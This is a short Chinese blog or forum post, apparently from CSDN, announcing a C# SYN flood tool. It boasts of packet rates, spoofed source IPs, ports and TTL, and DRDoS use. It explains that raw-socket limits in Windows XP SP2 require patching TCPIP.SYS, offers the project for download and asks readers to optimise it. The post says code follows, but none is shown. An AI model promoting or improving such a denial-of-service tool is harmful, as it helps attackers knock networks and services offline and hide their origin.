使用C#写的SYN利器的详细介绍
使用C#写的SYN利器的详细介绍
现在已经实现在我的电脑上开 1800个线程 每分钟 2000W SYN包攻击.
可以在普通机最少上开1000个线程 每分种 1200W的 SYN包攻击,
这个工具的源IP 和端口都是使用SOCKET RAW 伪造的.连TIL 也伪造. 我本来想什么都伪造 的,但是为了好研究点.没添加上去.
另外可以指定 源IP 来实现 所谓的DRDOS ?
由于 WINDOWS XP SP2 由于禁止 了 RAW 所以 需要 剁掉 TCPIP.SYS
WINODWS 2000XP SP1 2003 可以OK的 使用
此程序部分代码 模仿 网上 流传的 C# DDOS 伪IP ?
但是 有本质的区别 luyikk Monster raid 是 基于类 和安全代码构建的.
CPU占用量 得到本质的提升 ,速度 可以在普通 机上开 1000 线程 可想而知.
还有代码 完全共享 原 CSDN的大哥哥 大姐姐 牛人等 可以 优化 更改下实现 超级 SYN工具 C#版..
代码太长就不发这里了 我把整个项目打包给大家下载
代码加程序下载.............点击下载
有什么优化方按大家 发到 http://Blog.csdn.net/luyikk
下面是代码 哦
